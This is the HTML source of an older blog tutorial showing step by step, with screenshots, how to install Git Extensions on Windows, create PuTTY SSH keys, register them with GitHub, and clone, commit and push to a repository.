<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0JDvZ2y3ScFiVriyd0P-ff02s4Tz05foi4rc628yW5o20vWgYEvyW47bRcThfsxh2jCU8N1LEwXSbMEwqa3m6Uq6p7nKQ_fhjhnAd0QrLU3_zQZ7tXVyNvg-QSGApRxFoMo6aM6ZPPiq_/s1600/2012-03-27+07h20_43.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0JDvZ2y3ScFiVriyd0P-ff02s4Tz05foi4rc628yW5o20vWgYEvyW47bRcThfsxh2jCU8N1LEwXSbMEwqa3m6Uq6p7nKQ_fhjhnAd0QrLU3_zQZ7tXVyNvg-QSGApRxFoMo6aM6ZPPiq_/s1600/2012-03-27+07h20_43.png" /></a></div>
<br />
Select following settings during installation (it is can be changed after installation).<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6GUHkTaHJ2Ky3bnxZ5uqttI7Zka_2QmfNzzITOQTSWyK3MMt5ZCibar1UJUn3rkCWQpticvnz5J5BgHKT30eMd-j1EUkI9Vrw0UJVsoAfIc2Dbaj__WEjQqOyHE_g3bNRhtmJvnd3OsZp/s1600/2012-03-27+07h21_15.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6GUHkTaHJ2Ky3bnxZ5uqttI7Zka_2QmfNzzITOQTSWyK3MMt5ZCibar1UJUn3rkCWQpticvnz5J5BgHKT30eMd-j1EUkI9Vrw0UJVsoAfIc2Dbaj__WEjQqOyHE_g3bNRhtmJvnd3OsZp/s1600/2012-03-27+07h21_15.png" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbOnBQUdAPu4HhevcUH6EZFMp3Bd_Y7N1GEJKB0UC1_XhJ-91IcJKlZ16skIXmGUV08hALbf4FesBVwZdSIdOEjhlXN-eGUBMd8YlAqmB3md5OEObXjmMp5lp8jQV66WE59-0HkJJUZjXg/s1600/2012-03-27+07h21_24.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbOnBQUdAPu4HhevcUH6EZFMp3Bd_Y7N1GEJKB0UC1_XhJ-91IcJKlZ16skIXmGUV08hALbf4FesBVwZdSIdOEjhlXN-eGUBMd8YlAqmB3md5OEObXjmMp5lp8jQV66WE59-0HkJJUZjXg/s1600/2012-03-27+07h21_24.png" /></a></div>
<br />
Finally you get "Complete installation" page with "Finish" button.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd0hGSwNNotaNy9GAmkyAbytcsmrtJjuNb5o-Fdo5Pa_XhZfdrZRK9pdIDdQHVbetZTNsvtY4U9ilt2QTgKxJQuqlI_bnU6utt1qbxAMUUso_OQrXV2H3vTt9TLZbwkcNAJIKsGtv36EPf/s1600/2012-03-27+07h22_35.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgd0hGSwNNotaNy9GAmkyAbytcsmrtJjuNb5o-Fdo5Pa_XhZfdrZRK9pdIDdQHVbetZTNsvtY4U9ilt2QTgKxJQuqlI_bnU6utt1qbxAMUUso_OQrXV2H3vTt9TLZbwkcNAJIKsGtv36EPf/s1600/2012-03-27+07h22_35.png" /></a></div>
<br />
Congratulations! You have Git and Git Extensions installed. Run it!<br />
<br />
When you run Get Extensions for fist time, it comes with settings page with error:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimoyNYd1qslfCJC8X5rN6nN-negNQ3ODwi1mZl3mScHZMlH4H5Qb1qSH38l5OpL3VirUGV12gyjny3KgVwsZ1T0R2kZwUO_oOFHOobpHVbGl0ZiFEmz7hIR9p_l3RP_bx9fv33wqP_3SKs/s1600/2012-03-27+08h11_43.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="505" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimoyNYd1qslfCJC8X5rN6nN-negNQ3ODwi1mZl3mScHZMlH4H5Qb1qSH38l5OpL3VirUGV12gyjny3KgVwsZ1T0R2kZwUO_oOFHOobpHVbGl0ZiFEmz7hIR9p_l3RP_bx9fv33wqP_3SKs/s640/2012-03-27+08h11_43.png" width="640" /></a></div>
<br />
Don't <span class="short_text" id="result_box" lang="en"><span class="hps alt-edited">be scared, it is normal for first time. Just click "Repair" and fill missing details </span></span><br />
<span class="short_text" id="result_box" lang="en"><span class="hps alt-edited"><br /></span></span><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzAfhRPx_4HpImy4CXU84l8Kp3_5_BLnvcuFmyYhR3D5-dEvcJprdY6v4edsOb3GsfaIOHjTbkQCo_xZKhQVlsmpw0nits20tQB6mF2yIHBfIXfpTJZQ8rXvry86YbE8RH8dxsa_BxeS4A/s1600/2012-03-27+08h11_54.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="504" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzAfhRPx_4HpImy4CXU84l8Kp3_5_BLnvcuFmyYhR3D5-dEvcJprdY6v4edsOb3GsfaIOHjTbkQCo_xZKhQVlsmpw0nits20tQB6mF2yIHBfIXfpTJZQ8rXvry86YbE8RH8dxsa_BxeS4A/s640/2012-03-27+08h11_54.png" width="640" /></a></div>
<span class="short_text" id="result_box" lang="en"><span class="hps alt-edited"><br /></span></span><br />
That's it. Now you are ready to work with Git repository.<br />
<br />
<br />
<h3>
</h3>
<h3>
Setting up GitHub account ,SSH keys and repository</h3>
Go to <a href="https://github.com/signup/free">https://github.com/signup/free</a> to set up you free account. Registration process is very simple. If you already have GitHub account, skip this step.<br />
<br />
Once you have an account at GitHub, log in and go to your account SSH keys configuration page <a href="https://github.com/settings/ssh">https://github.com/settings/ssh</a>. If you first time here, you have an empty list.<br />
<br />
Now it is time to create your SSH key. You may follow instructions from GitHub, but I want to show you my way.<br />
<br />
When we installed Git Extensions, we selected "PuTTY" as SSH client and it resulted with helpful PuTTY utilities was installed. You may find them in <i><b>C:\Program Files (x86)\GitExtensions\PuTTY</b></i> folder (or <i><b>C:\Program Files\GitExtensions\PuTTY</b></i> on 32bit Windows)<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgM8f-eGGkv-RzTuGzeLNVX5kjGK9cvzMr2pniDFY_ctrHsrb9Ti7nwS-H1qy82i_-sYou7coNMgu6l0KYJ5i8JmTzOkkoOwm0lrC6P7RsBHHc8gq7XkTYBveEwF9mdorG4TbrP8fbeJmpM/s1600/2012-03-27+08h41_08.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="416" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgM8f-eGGkv-RzTuGzeLNVX5kjGK9cvzMr2pniDFY_ctrHsrb9Ti7nwS-H1qy82i_-sYou7coNMgu6l0KYJ5i8JmTzOkkoOwm0lrC6P7RsBHHc8gq7XkTYBveEwF9mdorG4TbrP8fbeJmpM/s640/2012-03-27+08h41_08.png" width="640" /></a></div>
<br />
<b>pageant.exe</b> - PuTTY SSH authentication agent,<br />
<b>plink.exe</b> - PuTTY SSH client,<br />
<b>puttygen.exe</b> - PuTTY SSH key generator.<br />
<br />
Run <b>puttygen.exe, </b>click "Generate" button and move mouse over black area while progress is displayed.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOFwl1hrfr5tJ7GrYD8Dm7y412dkvr9C_H3u2qBPhywGXZipnncbKjfMwXqCvCnVnY_dZKFpvHDBuRNpx4YcG40dAjcH2LxXacoZ0NH5i5ceyQszt4RZCAwUPsqrrGVf4-JJOVaNDc_i/s1600/2012-03-27+08h49_56.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmTOFwl1hrfr5tJ7GrYD8Dm7y412dkvr9C_H3u2qBPhywGXZipnncbKjfMwXqCvCnVnY_dZKFpvHDBuRNpx4YcG40dAjcH2LxXacoZ0NH5i5ceyQszt4RZCAwUPsqrrGVf4-JJOVaNDc_i/s1600/2012-03-27+08h49_56.png" /></a></div>
<br />
This way you generated your SSH key.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifkM82N8bDhjCBiqxD1i2VD8Rz9k-x8IiE0lmSBR53gfT4B5t8GIxgwmH_mRM24e_T206eenFmgphcNLstE0A3aMm39D1eXYT4IM8qQfnptWBULRXd7VbMrdpMPmjM4JZtbADg4js6EYP6/s1600/2012-03-27+08h49_31.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifkM82N8bDhjCBiqxD1i2VD8Rz9k-x8IiE0lmSBR53gfT4B5t8GIxgwmH_mRM24e_T206eenFmgphcNLstE0A3aMm39D1eXYT4IM8qQfnptWBULRXd7VbMrdpMPmjM4JZtbADg4js6EYP6/s1600/2012-03-27+08h49_31.png" /></a></div>
<br />
Now save private key (you may select passphrase (password) if you want). Note: you have to keep you private key in secret.<br />
<br />
Copy text from textbox above - it is your public key. This is what you put into your GitHub account. You can always get this public key by loading your private key in <b>puttygen</b>. (File > Load private key).<br />
<br />
Not it is time to come back to GitHub <a href="https://github.com/settings/ssh">https://github.com/settings/ssh</a>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6Uk016dapOIxsNj-UwND59O6-N1eU4K-D6jlhKWsMo4uZ90GTWdv-JORS82kYtrbtyvVonLSINuT45kA7lrDTbfnPEt6tNV7K6BTMeQ6yGHGbCheylM8aZDnLRvSi-fuGFEwoRCUGosL0/s1600/2012-03-27+09h03_29.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="553" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6Uk016dapOIxsNj-UwND59O6-N1eU4K-D6jlhKWsMo4uZ90GTWdv-JORS82kYtrbtyvVonLSINuT45kA7lrDTbfnPEt6tNV7K6BTMeQ6yGHGbCheylM8aZDnLRvSi-fuGFEwoRCUGosL0/s640/2012-03-27+09h03_29.png" width="640" /></a></div>
<br />
Click "Add SSH key", give a name for this key and copy you public key from <b>puttygen. </b>Click "Add key" - <br />
SSH Keys list shows your newly created key: <br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsLkH1WTjlHdukUOgA_BDTi42MV1P5tzsSQP22187Qvg9-ESAdfwxWdM4aU_pX5_0B0izHQ_8VLPWXg96sHNdbE5NrsxfpNnsgzYxgtun_g1Yx1dpoop2frJQBKI71Q-B6WvENSByC4umF/s1600/2012-03-27+09h07_07.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="86" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsLkH1WTjlHdukUOgA_BDTi42MV1P5tzsSQP22187Qvg9-ESAdfwxWdM4aU_pX5_0B0izHQ_8VLPWXg96sHNdbE5NrsxfpNnsgzYxgtun_g1Yx1dpoop2frJQBKI71Q-B6WvENSByC4umF/s640/2012-03-27+09h07_07.png" width="640" /></a></div>
<br />
Creating repository is very simple. From main page (<a href="https://github.com/">https://github.com/</a>) click "New repository", fill the form and click "Create repository" - you will get instructions how to set up Git. You may follow this instructions, or follow my way I used to go.<br />
<br />
<h3>
Working with GitHub repository with Git Extensions.</h3>
First of all you have to know your repository url. Take it from GitHub instruction page:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI6o3V9Vcpq7JW3n6XTIjBPX6XbFOwDL1eExQaf_m9BjoIcslGyuN_akG3MmJNtkdlHZKfcggyNUxZzlj6M4ARakmv3GgKj20jaHAA2ckb_pbyj_Y5UDMh9l_Te_3H5ssBFlBZwvWWW-3T/s1600/2012-03-27+09h27_12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="574" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhI6o3V9Vcpq7JW3n6XTIjBPX6XbFOwDL1eExQaf_m9BjoIcslGyuN_akG3MmJNtkdlHZKfcggyNUxZzlj6M4ARakmv3GgKj20jaHAA2ckb_pbyj_Y5UDMh9l_Te_3H5ssBFlBZwvWWW-3T/s640/2012-03-27+09h27_12.png" width="640" /></a></div>
<br />
<br />
<b></b> Open Git Extensions and click "Clone repository"<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAgj7iAj6gpDfGiN5TUg9gWx367zESkxR4YxD4XbzoZeCZ6FM78CIfsIzRxhnio4RmMp7snuFOE5FovQm_hGc5G7bmpudBG4s6WR3YtMS8GEJQFpr8aWoB_CV24MqMLbgr1lxk0C7u0d0H/s1600/2012-03-27+10h03_13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="528" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAgj7iAj6gpDfGiN5TUg9gWx367zESkxR4YxD4XbzoZeCZ6FM78CIfsIzRxhnio4RmMp7snuFOE5FovQm_hGc5G7bmpudBG4s6WR3YtMS8GEJQFpr8aWoB_CV24MqMLbgr1lxk0C7u0d0H/s640/2012-03-27+10h03_13.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3WIVORH0bsE9yye2OyKj95XgHVJw1K-idkrbJkOCDbYS6ncJS4JMIM_HhRzStCKqBBVXGkR6RDXPzTW6Z5GglZxDs1Q09gJfg15yuWW4R25HyZeIzyQyJzU2BPYbsT67UX8FY3G6TGNei/s1600/2012-03-27+10h03_13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a></div>
<br />
Fill repository url and destination. Then click "Load SSH key".<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi_ffUORdLZojp6A_R_2QKA4dZz9Fr4S4MxohWivxTwW9D3ek5JFIgy6r2ZitbeYBn0FrkCDACjWwwYR7TwAa3XcAh1zkeW9svqjIS5P_PKTpXBVtRorXfHpFHvdyVQWGffG1Raz5zl6aD/s1600/2012-03-27+10h05_21.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi_ffUORdLZojp6A_R_2QKA4dZz9Fr4S4MxohWivxTwW9D3ek5JFIgy6r2ZitbeYBn0FrkCDACjWwwYR7TwAa3XcAh1zkeW9svqjIS5P_PKTpXBVtRorXfHpFHvdyVQWGffG1Raz5zl6aD/s1600/2012-03-27+10h05_21.png" /> </a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Select you previously saved private key and click "Load". It might prompt password, if you set up one when saved the private key. </div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Loading SSH key required for authentication against GitHub.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Click "Clone". Git Extensions will create destination directory and initialize local git repository there.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWFjbkwR0PBBNeIYhYf8B3p_hTDyAsvXuu4X7RkDQ5Lfld4Xl6X1PrSRjbVmx-o02pkUSEWfpoK2p485zjpLwk7UH0VwiL_Z5QdfQawpPRCj1vdt-h3pZzKnFUEWQq7oesr5BDCcVf5GY2/s1600/2012-03-27+10h06_12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWFjbkwR0PBBNeIYhYf8B3p_hTDyAsvXuu4X7RkDQ5Lfld4Xl6X1PrSRjbVmx-o02pkUSEWfpoK2p485zjpLwk7UH0VwiL_Z5QdfQawpPRCj1vdt-h3pZzKnFUEWQq7oesr5BDCcVf5GY2/s1600/2012-03-27+10h06_12.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Click "OK" - it prompts with "Open repository" dialog.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhogenaPnPUWBZEkiwtCqj1xqsfvh9rC-24EwOkT5CYtySxZPALbRdB3RQp-wWCLiBqKB7tG-GLPGToR2yWxtTKYhor_zVz5ttHIEdf03h2x1tUMe2n86FJc7FRmIkGPugIM1NtimCF2hfp/s1600/2012-03-27+10h06_30.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhogenaPnPUWBZEkiwtCqj1xqsfvh9rC-24EwOkT5CYtySxZPALbRdB3RQp-wWCLiBqKB7tG-GLPGToR2yWxtTKYhor_zVz5ttHIEdf03h2x1tUMe2n86FJc7FRmIkGPugIM1NtimCF2hfp/s1600/2012-03-27+10h06_30.png" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Click "Yes" - your newly cloned repository will be opened:</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2OlsQHsF0Z50-vi21ow1kF_WVdzEulW9sgNnIgW9ybH_fgL3ZoAWtoXkvOskJeVelsCynHa2za6iUW_q9DA7cIvz9mhCgIxOm_NaxcMUyMYI34lzGhUHzbCYTuC_TXmP2929fw2FBdh-d/s1600/2012-03-27+10h35_02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="528" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2OlsQHsF0Z50-vi21ow1kF_WVdzEulW9sgNnIgW9ybH_fgL3ZoAWtoXkvOskJeVelsCynHa2za6iUW_q9DA7cIvz9mhCgIxOm_NaxcMUyMYI34lzGhUHzbCYTuC_TXmP2929fw2FBdh-d/s640/2012-03-27+10h35_02.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
Such screen you will see each time you clone an empty repository. Lets do some changes.<br />
<br />
Go to repository directory and create new <b>README </b>text file:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1SAMwxCUdw8tJ1ghDYJrhiNJ9cHqqmPONaKCf3PfgaSM9lSZ35jsB5Uk16USHu6B79N_cFrtni1pmznG-UoPbZE21YcoyBUoOumbWMv8tyLEKNIL49-4ZKh2OJt993V_vXImO4urS-Pqe/s1600/2012-03-27+10h07_25.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="419" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1SAMwxCUdw8tJ1ghDYJrhiNJ9cHqqmPONaKCf3PfgaSM9lSZ35jsB5Uk16USHu6B79N_cFrtni1pmznG-UoPbZE21YcoyBUoOumbWMv8tyLEKNIL49-4ZKh2OJt993V_vXImO4urS-Pqe/s640/2012-03-27+10h07_25.png" width="640" /></a></div>
<br />
You will see there <b>.git</b> folder. <u>Don't modify or delete it</u>. This is actually Git repository. All files and folders beside are only current checked out branch.<br />
<br />
Now go back to Git Extensions and click "Commit". You will get commit dialog:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga3eEWeaO5srBle93zHd47U7lMYH-i86UBBgvVdwvJt7Vx3YyQFzt7QtqQ6LAIAOFjXU776mAxMITT-OSe09PBGObCcNRIloFWrW9-KsnySefDDUdCk43icZCvHcOufrHR48wl2hU7NSF1/s1600/2012-03-27+10h08_12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="488" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga3eEWeaO5srBle93zHd47U7lMYH-i86UBBgvVdwvJt7Vx3YyQFzt7QtqQ6LAIAOFjXU776mAxMITT-OSe09PBGObCcNRIloFWrW9-KsnySefDDUdCk43icZCvHcOufrHR48wl2hU7NSF1/s640/2012-03-27+10h08_12.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq86f0-pXCTfTHo39zSFkxjjiPXki45xfb5VND5aP0m3KaqxJnN_t05BoCNJi-f5NBY4Z7Nn1_LTaJHQFd76eeEN-py93zj19MyMWV9shrspA0PoXtzBllThu-xt6Qm8qp_eO-n7PCXVnj/s1600/2012-03-27+10h08_12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a></div>
<br />
Our newly created file have no persistency in repository, Click "Stage" to "fix" it. <br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTIgvsxJcJ6vZZwc8wBqHdNb-4jEy_0bOn5vcUPg3GJwgB7RBpgS3uQDdOL26pHY0f2uFh0aA3WodVUJuLLTY4nCYDwd_38zEL5D6FTl2avPbjQidOCjo0ed8OnfCyMpxLgdRQlHmKfYYB/s1600/2012-03-27+10h08_34.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="488" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTIgvsxJcJ6vZZwc8wBqHdNb-4jEy_0bOn5vcUPg3GJwgB7RBpgS3uQDdOL26pHY0f2uFh0aA3WodVUJuLLTY4nCYDwd_38zEL5D6FTl2avPbjQidOCjo0ed8OnfCyMpxLgdRQlHmKfYYB/s640/2012-03-27+10h08_34.png" width="640" /></a></div>
<br />
Now it is ready for commit. Put commit message and click "Commit".<br />
<br />
Git Extensions shows this first commit in our local repository (red colored label).<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQJJEWDrx5L4FeFfPIss4w6bnn7RkFTPVA0Ni98eieu5q3PbFyYW_hmRSSook-JYGvPOs2WpqmerQfrS1a49XkKdomKeKlRehSTloy25rF-bY1Hfo3CokKEHbkhCFrA-iFIbtl-23bsvzh/s1600/2012-03-27+10h08_57.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="528" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQJJEWDrx5L4FeFfPIss4w6bnn7RkFTPVA0Ni98eieu5q3PbFyYW_hmRSSook-JYGvPOs2WpqmerQfrS1a49XkKdomKeKlRehSTloy25rF-bY1Hfo3CokKEHbkhCFrA-iFIbtl-23bsvzh/s640/2012-03-27+10h08_57.png" width="640" /></a></div>
<br />
But it is not all. Since this is our local repository, we have to deliver our changes to remote repository at GitHub.<br />
<br />
Go to menu "Commands" > "Push". It opens "Push" dialog:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAh7i9mAyKIPyiY5HNaFE_vkI3Zmm34-ybRCAHH3KTvZY55G9cOvboF-Uokk0jR5DRSEE4uU1btx4yhEfMcK7slFjFEeaM4yZoGlvYqG3noNNqG3-ER1w9U6KTTL2NU85xMaMFqXz0pE-w/s1600/2012-03-27+10h09_34.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="273" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAh7i9mAyKIPyiY5HNaFE_vkI3Zmm34-ybRCAHH3KTvZY55G9cOvboF-Uokk0jR5DRSEE4uU1btx4yhEfMcK7slFjFEeaM4yZoGlvYqG3noNNqG3-ER1w9U6KTTL2NU85xMaMFqXz0pE-w/s640/2012-03-27+10h09_34.png" width="640" /></a></div>
<br />
Click "Push". Because there is no master branch in remote repository yet, it opens confirmation dialog:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKSqkQ9Dtxpqa3qHWxINX4WkZV83SHvV0I6uSmryyehmtawJdw-6O1B_dNPkQgkBO7quC3U1Ls0WSS9Jtp99noUvieWTLCT7btYfRHL_dzRUWCTFBw7fIOZeTRfEyIk1t7TFemIkV2YA-G/s1600/2012-03-27+10h09_50.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKSqkQ9Dtxpqa3qHWxINX4WkZV83SHvV0I6uSmryyehmtawJdw-6O1B_dNPkQgkBO7quC3U1Ls0WSS9Jtp99noUvieWTLCT7btYfRHL_dzRUWCTFBw7fIOZeTRfEyIk1t7TFemIkV2YA-G/s1600/2012-03-27+10h09_50.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjN4DzLTsgha3xBybTn2oErDDP4djLAwF87n5Rbs2v0LYTEfPLJTPhU8bG6deUjyuUk3WG6qXYFxjmoOWx28kxqhjdJNKx0f7UpNvZx6VnFdqBooIDFABlqIffCubktJrnwpk9emGG1dCIh/s1600/2012-03-27+10h06_30.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><br /></a></div>
Click "Yes".<br />
<br />
Now Git Extensions shows your remote repository branch (green colored label)<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilyuQ8_DK2f36avIL3g6zeg0k2FEsqx6YaImtoxFC71rV11t_3P9F9BWjzeWw0mxU5XGMAgc9GwA14462OFPdVy3nboEo1Am0eeJOHor6IX5X5M8IIrPj2y012CQHOa-gDuiRWk9JTWrr-/s1600/2012-03-27+10h10_16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="528" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilyuQ8_DK2f36avIL3g6zeg0k2FEsqx6YaImtoxFC71rV11t_3P9F9BWjzeWw0mxU5XGMAgc9GwA14462OFPdVy3nboEo1Am0eeJOHor6IX5X5M8IIrPj2y012CQHOa-gDuiRWk9JTWrr-/s640/2012-03-27+10h10_16.png" width="640" /></a></div>
<br />
Since we have created master branch in GitHub repository, it's page doesn't show Git set up instructions, but all repository related information:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoQNOlVyTcxLnDMceFPSpYbfQr9esqV0CfF_4Vm-6BB0onxNN9nBuxpsFbc40icBvPYVVxuiYzdOYUaqoFezENXU0StL8Ku-ZptYmKlnk7Un3F7Te0dptgw3zc3jNJHjPEYmZXhXAwnNO4/s1600/2012-03-27+10h10_38.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="410" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhoQNOlVyTcxLnDMceFPSpYbfQr9esqV0CfF_4Vm-6BB0onxNN9nBuxpsFbc40icBvPYVVxuiYzdOYUaqoFezENXU0StL8Ku-ZptYmKlnk7Un3F7Te0dptgw3zc3jNJHjPEYmZXhXAwnNO4/s640/2012-03-27+10h10_38.png" width="640" /></a></div>
<br />
All further commit with this repository are similar to first one. You make changes, stage them, commit and push.<br />
<br />
<h3>
Cloning public repository from GitHub </h3>
If you want to clone some public repository from GitHub, you have to follow the same steps as you clone your own repository. The difference is in repository url. To obtain repository url go repository page.<br />
<br />
There is my repository page for example <a href="https://github.com/manishma/IZWebFileManager">https://github.com/manishma/IZWebFileManager</a>:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCeYE_Sk0emh8Tk9yaEGFKo1z6XkRCp__5bqAmkin06s0BMQYkzcsjUYnD4JUqdw6eRo1LuHhHkUFQpF9RUdkkclBQizWCvchlBt_NRCIqMrRzQ3CoMs8P6nhndxwmsx5gbvVCT3_KUo88/s1600/2012-03-27+11h15_53.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="490" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCeYE_Sk0emh8Tk9yaEGFKo1z6XkRCp__5bqAmkin06s0BMQYkzcsjUYnD4JUqdw6eRo1LuHhHkUFQpF9RUdkkclBQizWCvchlBt_NRCIqMrRzQ3CoMs8P6nhndxwmsx5gbvVCT3_KUo88/s640/2012-03-27+11h15_53.png" width="640" /></a></div>
<br />
